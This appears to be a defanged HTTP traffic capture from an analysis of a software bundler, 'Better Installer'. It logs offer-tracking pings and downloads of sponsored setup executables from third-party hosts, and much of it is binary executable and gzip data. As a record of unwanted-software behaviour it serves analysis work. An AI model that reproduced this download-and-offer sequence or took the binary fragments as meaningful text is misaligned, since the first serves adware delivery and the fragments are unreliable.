Content-Range: bytes 91450-182126/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
<..."D....j....}.uwC.....J....[...p.....9..*..J.y...Yo..M..3.......
...Z....7[wa0b.b......}.I.......jlr$..Y....G..y.^."...$.w..6!......{..
.^...3.Q......e......N._ ..b...8..i.9.$Th..d...s....v..)......A.?UN)V9
......e?...,...Z..\g....lOt.4e.....w..f..D.P.2av.;...G...?..mj......4M
...T..^..O.;~.].....]..L(..-....C.5. ..I.....f*.&..m......,......W.{..
..%.. .xw/fA).J.....;.e.....>` .=...I..\... ...i.L.}..b..pl2.w.\...
x.........9..F@.'bl.....~.=.../...X.....<j..._.Z...i&.B*m.n........
f..gh$F.......0W.....c.4.~....V...AtY....n0......%...W.E|(..,(......Oc
.#u..k-......IS.E:.s..2.../.K{.~....3.]..V....Zz....#G.C.[b..=3..@....
.(O...u..wILt...KTOHlwr..........X..^.E.a.|.;...>n...Z.......b.....
.;.2. ...;.l[.?.o..[..#B.A.G.b...5 .S...|.|..w. ..=G.Z4M.-@w.(.!....n.
..e.A..{u...<[email protected]!?..P&U..1..F..T;lq...V.~.'.......|..z..~..
H.).. .l..E..D.....-...}..#.?g....5..k0._i..s(.$.....[-T6_.."..u.9..V.
..o.|.M...s7.V,&.[_$Sp.q@..~.It.gX..L>C.....p.............u.*...ac.
b.%..TO.>z....s*.....[b..3.....Wf.#N.oY..w....4..!.....[A.k2j......
.c..ZD..c..{,.?..S.6l......:.r...f.V.$.>]....#.p..X#...s..!a7.*.<
;.......&.H.n.Q...]..... Jt.r......Q*....!<'a...z1..0.....?]b.. '.&
.s.0....p*...k..=FT.0..q?..F`....,..f./.......T0..."..-.....,sQm.%....
Y.d..A.|.g.*?t...@.^.....N.f..d.h.AhT.b.....4..N.W...a-o..$.*.e ..~s.o
j.E..H..qd.V7...?8....:i..sm.......`.aBQ..t..v....)..'..E.p...^.....#.
C....;.Q?...P.Y,.=.7t....g.%...s..M.G.&)..W......n.h.J}...........FC.l
(..,.....b7...t..#..c..;..3.?7a.R.x....<........m..SC,..cZo..T.<<< skipped >>>

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=182127-303449

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 121323

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Content-Range: bytes 182127-303449/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
xU..R^@..&..o.Y8......z....p.9.Z.Fk...odk..v..].Q.g%p........`a.5<.
........&|,9...Y.s.....my3.....=b..n...d....]....y.5.>....C/.3RV.6.
h.m...B.&}F....E....E...:.`..{<...2<_$.o.o.U..U.Y...'.3._.~.U1bq
<."....|......J>u..z...U..~.M..4.I....QQ.j.....CW.....6....8..3.
..9..U(...jv...=....._I.".............Ty...GFU]ZF..../.R...[...e*M...m
.......2........l.6.o..o..g..T.{[...0..R`..Q..{D..9>...0c..&E...*.s
.......2......}....Py.{T..x...NL.B5.3......{.....5..#.'.....*.U...}-Q.
......B.....Z.....m_!w..2.A.[I.65......R....".V..2.....z..qg..J-......
r....)u]....$.L....&....^N.s-K..(...#.~.[.....h..b.. .J..P.R3 8]...@C.
4...0..k.G.P.L..be(U...A~..%....z.p^^..i0...qn.p..B...m..:.P7....7....
Z....Xz.:.71$..H/....r.........I....Z....*....T.\I=........Sk..1N.P...
.......Q.Q[.!...T4...](d..x.........^.b..>..4.J?..m...A.q....B.....
v<...F}{.......){.. .:~....6.C,.y...o8.,@.))..e..hC..4:.[.......E..
Y....A:LG........%....(y.7......G5.4..LQ.....x..m1.....|..;....2`w..1.
.4s.`=.8..$...p.>.dC....A.w..-.o.sz.X.......SCJYC.h.........mq.....
.......Os8s.....zI..ELI....i......M...q6.={....=sf0q.m...GC..#........
........G....\...)..h.W..$..kKWk..g.....~@l..&j....-.S.,..g.$o....S...
.$..c.....1.~k.E@ ...Q...S..s3...Y3..~.)Z..Y.YVb..~.p..k>...w....q.
.h.-a.1....cI..~>b.x.s....V*.c..u..T.WA.R_.L.. t0.<..4..........
..O)_5|,-..lmF......'[email protected]....>.4..v...Av..Y...,#J.......&
lt;F.W-$.....C2"...._d.Da....}../.I...}..F3...aMMq.8k~.M..p.q..[.iC...
...p.....Wl..FV...^..n6iZ.^xl...(....CD..3..K.......s....,.V>..<<< skipped >>>

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=303450-548394

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 244945

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Content-Range: bytes 303450-548394/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
.3)f..6.......; ...Z.y...Am.....S....`T......`._.o.|%.' .Gbu[,..#....g
....:.m..S.....`....T..<.... ..2...\.../........H.d....#$3.Q..0.9..
..k...!.w.L.D./..c......w....!^J...%.(.F......L(./.......]..r0F..w0X..
1..P.........D.....#Z....f.$.'..8.US6oR..y..'..B.4........8.]..Z<..
.{.{,[email protected]....\lC.....%....>..C......j...kQ.5d
..z..V"'......Ò.p0..3....o..o.@..?.......H~....p...)..j.%....`....].
e...*b.!H...T.q...%.. .i.]...........}.L.G*[..).3.....8...9.......YT..
kf....w.t......0e/..$vUs..T.'... ..../.9.Mk$2<.*...V..E....E.u....0
......wx...].....|..R;.~..W..j]......g.....N"C...:.?e....F.V,.W.....o(
.vO.}...b._.......6.... ....i.........>.!Q.'[email protected].....
.......M.....*...m?.......Z.d........u.bp..i.mn..........(...3w.......
.....y].......4E]ai...*.-..19>..'v.......O..q..8..s...h.......f..x8
J|N.;l...u....x......6.5...1..0>..L\..i.....{........)..n.Gu.......
C.-Ia.}..T... a....q../..."..V.|...r......Ce..#q...O"r...%.i..j..LG...
........D....r..u..du...*..&CwS.1iM\..;?.....D..........0..o}t....Z...
^.....BF.....8^.bo.Yb....Q.xD..gH..hD..E.M[.E'.xz(..]..L..,w...^^..oOF
i..U2..h..........S.....{.i.B.......;S..<.@.{o.)(.e>.........q..
.:..`.L.^.%.......JvD.O.4m..O..g> ....P...p..4.Y..{..7."/.wVf....cD
..$...O:.........C5..K..).D.G.....F:.Xp.*......i..E-.?.[.....\_..<.
......19>...i...H9.r1........XuS.t.2.qFZ.NA.q{q.g...s....J].:..i...
-.Pe...?..w...s...._....e~.F.3..V.h..R.t. .....5.....j...*.$Rg..K*[q..
9*......*..Z3..z..^J.9....f.D.....0...#N`..O..Vy......"......X..D.<<< skipped >>>

GET /edgedl/update2/1.3.26.9/GoogleUpdateSetup.exe?cms_redirect=yes&expire=1423636265&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1423621511&mv=u&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=3C42CDDC5D19E4AD1F55A6A948D1E9049D9B0F73.6082589730D3517F5AD5BC3BAE81AC2BC8B04FEC&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Wed, 28 Jan 2015 21:47:00 GMT

Range: bytes=548395-880207

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r2---sn-3c27ln7y.c.pack.google.com


HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 331813

Content-Type: application/x-msdos-program

Etag: "4eb1b"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Fri, 30 Jan 2015 07:03:16 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Wed, 28 Jan 2015 21:47:00 GMT

Content-Range: bytes 548395-880207/880208

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
.......Z...>..D...r@x...,.I.|.k.7H..GJ..7.i....N..|...M....oN......
.....!. ......se.>.. .9...L.=R.fTA.%..Bb.\..l...T..~..`&J].vE#.1..p
..BN|........KK(.n>..O).-..{,...-..B.o...e...&e..h...,....!a..._FY.
..R.O1V..,....Z:.......wt..#a.E~K......W...z*....I..)-..#....4.^I.....
aM.a(.K.p..Q[...*.."c...X..cXm.....<..W..2.]....ktb...w.....^.d....
!.......="..b...".....g..#.=............V.......]X.h<.Um...%...y...
.........S....T..0.G....b.U.r.M.8.<../}..;wo._.ltG..[H&..:.z%...\..
....0w..r.#V[Ge].j""..Vo..1J..q._BN...,8../............c.>.iS....f.
S_..............f..r..o..N...v.......K.o..Y.......5...,;.....1.YMH..Fh
y.}.z|f.8..4T.D...../...K./n..........."F..L..p.(...Uj.z.=......9m.P4.
.u..b.O.o/T.:..G_.. ...9 ...7.....A.......9z..uC|..??iR.M....\.W....2.
../......-}.....7...$..4A;g.V|.~.....m..g.........0b.\ys.@;.}W...C6..8
N...2..]....."..&...8|>.}.*....X..B.(.x.E^\{.V.<.......k..Y..y..
.QX...x..ue...?..c1.!*../......s5.c|[email protected]....$.;PcW. .
.&o.V.x.H ...k.H..%..Rf...X.!l`.4.bXW.....F..2)...._U.}6.lV...k...Du.1
!:.BN..r....b.s64.....5.[=.F.........Q.....\...n.?`....TX.%..{I.G..".:
...SE.ePD...x...N.I].G.Bqp.~........-....\........$.b..#........(...V.
.$....F..P.....\....7.bi.RR\..SO......P..!. i..........'...a....-F..Q.
.bD..*....|Rb.{.G.dzL.'..C..\..M..~.......!.=..=...Xm...].......O_.5..
P..Z..Iz(...`F,.x...zj{.,.%..^...:.....uM.iR..ugEe!.;...Y...pa...<.
SQj2...Cn........z[#...Y....-Y....f`JI......y4.R-.......V'..... ....Tg
[email protected]._Y.M2........g.V[..Jkz]..Q....t..Z7./#..m.]O.O:-.b..<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=appshat_madness&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.6827485945168448 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmc=1; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:10 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:10 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1286728

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

X-Cache: Miss from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JYd6dUHyGrPSi6hpTa0hqKbTBYl_odv-jWHqcjMJ89WP6UZ_49oc_g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=291608-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 12 Feb 2015 02:30:33 GMT

Date: Wed, 11 Feb 2015 02:30:33 GMT

Content-Range: bytes 291608-583215/583216

Content-Length: 291608

Connection: keep-alive
....H.<.C...t......\f. .8...*.wd........Qp.aX.f..C.....WE.3h....).$
....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=....fM.F.....z...D
...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9.....U.....?.'....
..xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<.D..v.).i<:..
J....J.;..<...X.)p...::I_U.........8..5..Y"..L<36..c}t..;....j..
...?....@.`.......I|.L5....q}..3...ll=...bdI5..[?.....}.EeL..R....5"..
.(......../.....W..~..].@.. [email protected]%.Y...r]a.b......
.)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..k...r.....IaPJ".
.].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N..'.4.......'3.1
..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e.........D....Z.7.
..T.......I...$.....A ..er....o...C..Y...A.F]hy!..q.........#....@$D.$
L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|..D......@.._&.Q
[email protected]....\<1.|.*...m>....o#.@..&1..
.E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1.........x..n.O|.vfU
. ..R.....x..Yg.._..u...G. ...N[[email protected].,...g.=}4n.
.....aH...a.....`..v.......'@...<R.L......."J(..##..nV'..f../V...w!
..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F...........M.....m
.G.........s..X...|.......;......2..B..AAu4..Wu..B...lf..........BUw.C
...^J...(F.1;.s..f3.............m,...<.. .N.9..3$..C..=...a..z.....
G..?..i-.2.....hD..?....^?..B........~.....>]........G0...F....']..
[email protected].......)..W.r.=.ò....l.r.z..........7..e
. \$D.......t.......[.Z..N2.......%[email protected]...<....C...c...o..jz<<< skipped >>>

GET / HTTP/1.1

Host: VVV.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=2r7aVNnhIYqu8wfVqoDIBw

Content-Length: 262

Date: Wed, 11 Feb 2015 02:30:50 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=2r7aVNnhIYqu
8wfVqoDIBw">here</A>...</BODY></HTML>..HTTP/1.1 3
02 Found..Cache-Control: private..Content-Type: text/html; charset=UTF
-8..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=2r7aVNnhIYqu8wfVq
oDIBw..Content-Length: 262..Date: Wed, 11 Feb 2015 02:30:50 GMT..Serve
r: GFE/2.0..Alternate-Protocol: 80:quic,p=0.02..<HTML><HEAD&g
t;<meta http-equiv="content-type" content="text/html;charset=utf-8"
>.<TITLE>302 Moved</TITLE></HEAD><BODY>.<
;H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://
VVV.google.com.ua/?gfe_rd=cr&ei=2r7aVNnhIYqu8wfVqoDIBw">here<
;/A>...</BODY></HTML>....

GET /home HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Set-Cookie: symfony=ejk76d31ka5ta8uf119u55m826; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip
17aa.............].r.Hz.....VYv".|.-M.:X..EE...OM......$8.(Y....n..\%.
.U*..H^![...d'[email protected]......}w.M..("..^..m...,......
."...u..*)...q.fa<..,o..Hk.e...|vv&..R......^......kY.I.....W...|?.
...5.....O.D......[|.".W._..|../^.e....a....rXA<.Ri.....I.J,..,M...
(......VH....4;.x:.<[!.....d.}&.....xF1K.d..8.O.[.......... .......
..6.I...i..9-"W{...G.0....'....,o.<.....S...1....5'aJ.!. .....i..$.
}B'..fq.q.fd.#...O...,>....Y..Z.....!......E.)... ...l.'.....8..1..
|..i..&q....u...p...!.k..g$.._4ZK...:@w..w..,N..:.....rN..&.x6..S&~a..
...Q1.....$....M... ti9...tP]:.......1[..r...S..V....4#!..U@.%.....%..
.0.v.............q?.h.......<..X...B>..|....I..S.}...p0.......?.
..:io.)-..H.0L.L....9..&G...o....\V%[..7..3.6mm<...0.....!>KU$..
..i....M......O..K.(....M.(.....hq..=2.I.....t..N}......`5Y...'..._y.3
.6$.y......,[.a=y.~....~.....'....;........?....O..4.>..`:.'O..f5..
..."8.....'..:.H..f;............xV.J_.........W~xF%......W.q.g#iB..r..
\..)O..<..~,H,.....g....V....[]).heu.....[....e....)Z....g_.}......
.U....fh.i9.....%......I...|.....?...]^l.!...d~...y.......zK0.>.@.(
......^.....l......'..x1k..K..btS........E.O.`s..svW.....`D.}!...q...`
..x......d...d..xJz;..d.{:..<9..Q..b..Y.U!..d....syr..>6........
[email protected]'^....O...I...;...]R...2..2P.......1..ON.,.R6...1..T.
[email protected]..,/.^R(.-].'.[..k..[.....\....j8...
J\...Q....]/.`[..>..XS.......h`.*...g<.............@.,.......Q..
w.s_*/.~8.L.~?.G.mX..U.eU...Q.w.&...*......t.0....:.... .?Uf.%g...<<< skipped >>>

GET /css/main.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: text/css

Content-Length: 0

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-0"

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes

....

GET /css/product.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
221............}T.n. .}N...S^.Jnb'.*....K.......i.E..q.vp..HN....{..^.
..A.V_..V.q.TG...L..|...p....R.h/8........w..o.p.<....p......20..E.
!cX.C.......Z.|...........Ip.SR=m......Y."a......'.]...v`...-.....W^B.
]....Bl$..b..Wk...............M.w.2.^.. .g_0):......3D3.BfE&..>l).V
=....M...S.*......#&F]..."...L.2..T..|R{E"....'%W}.b.8.G....7.J..E-u..
.5k^;......_7b`..M-:....t.........Il@y...?.5Gqh.e^h5....L....%...Q)o.r
m0.=...anT>k......y#........\c.A...E.P..s..B......q..F.C...$...F..q
>.j=..."...gj4m..........w...... ;....K.(~r........8....vE....&....
....0......


GET /css/lightbox.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: text/css

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
487.............WM..6...W...$..._k.h.o...$.6.....(.0%.$.]o...!)....|..
...E.g...7.....A..r]Ob)=F.........7zW.<..`....!TrI..E.p$9. ...*^...
w....}uh........R...!*..h.~..1....p!S.r. ...<U...[....1U..W.....>
;.uw.....%..................P .g..m......m........r0............%.....
..IqN..<f..&.e.}B......x.....p...l.$..H"hj .6. ........{:.)n.g&.*4.
W\.....-..7Y....q..D_.e..XrY.p((. ...>q. A.V.`*.....|_$N.......x...
.^9.!e...q....v..B.EF!u>.q....U....8.{...5.....W..7.....8!?[..N?q..
...........:.t.....%4.......T..<s.k.xR...[B.im.(..&.....y...`.R...r
.enB.B.L.b...=......G.$...Q.......@9h..J.IB.L..NE.....C.cH....m.W.o...
.........-G.....>.yy....5C.MX.......rk..bl...B_......51^..e.e.. .9.
xpW....k......E.T.M...}.'X..,x..j.%Y.'.|...'....y.<n....y.........]
}.....o....H...wA..z..h.8.[.......\7PK."..]'..C...M.-]J.....J.X..w..mq
...R..j.b.o..S{xB....e......E....... .. %.gG...........&..3-.^..4j.l..
t)..%(..C. .W....K%..P..6...t...p..Kej..oW#E=.*Y.=.\. ........v...s...
..p}K3B..03W{.._io.....]...>.*Q..~..Z..........62$..Pv&.<....!..
xm..l.....m'..vC3./b\.......%}...f.y;.v.Yry...}.r.#V..yTqf.!SIC31....b
.....v=..H.|..C.b.l0`\.v.f.uU..4......w....B.O^.....E..^H]d%.A..T?F..)
4........0......


GET /js/jquery.smooth-scroll.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Content-Encoding: gzip
51e.............Vao.6..._...!6,m..6H...-.a-.-......:I.iI........(9....
.....;...G._..y.........]Q....U...Y7....%.b...5|/...u.{.D.-....p.mxu.]
......7..w..Q......o/F.wE.X.43....**.]?@..*.|4B{ZI.k..&...L..._n<..
...?N....5....F_$...1e8.?<<..D...$..J.#p=.).f..2 Ov.ysl...ef.]..
...Y.4.4....i.oo.H.V`.*.$...BB0.....yJ...WK.......!p....ZS...k.1.,V.l6
.......G.......qpS.~d2U3.2{:.iU...v......r.un....x .s.7...pG.....aA..M
.....j..%......c.S...}....d.9.>QUm|k.!OMF0X`u....u4..zZp..M.....G"N
..6,..|18....b.!<L..3$.......r&..C ..l..'.........Y.:...O...L...h..
.k..Uz....C`..X..h...$H...b.....0Y..),.Y..\..8...._"...V...0..._..4..'
.....4.{gYQ....:x..]w~4......oD..r/x9.W.).........P8..:#........c..,8O
........6...&x.."u.C..E..U`..y2.1.....uD.X1U.. Ye..k..u....#........E.
...&.......icVVp....U= H...).:r..0<...j.oC.".....).mx..vxls.B.\...i
JU.0U1.c..`....?.../Rd;f:E..u1.%..'m......'.%.K$.R...N.jj......A_.H...
..a6._...].G'.L.u.....k..$Q..nJ..4Z...w....6{..2d........2......E...P.
.....D.?.}^...B?.. ...<.Ko......z."[email protected]!.#.&w.
.I...Ill...lI.>......:\-..\G............)^,L$.w.^..X.EW...... .....
hL..S....x.^b.j....].Ib........_9A.7DS...*..Vy...Y..=........\"..v..[.
...=T5.s.......'.?z"..]...|N}...K..._... l%.....?..[z..:1....{......p.
.6.?......pa.?...7...N.....=N.*6....0...O.?^...........W..=.gx.B...-..
..{.-......0......
<<< skipped >>>

GET /images/logo.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: image/jpeg

Content-Length: 5807

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-16af"

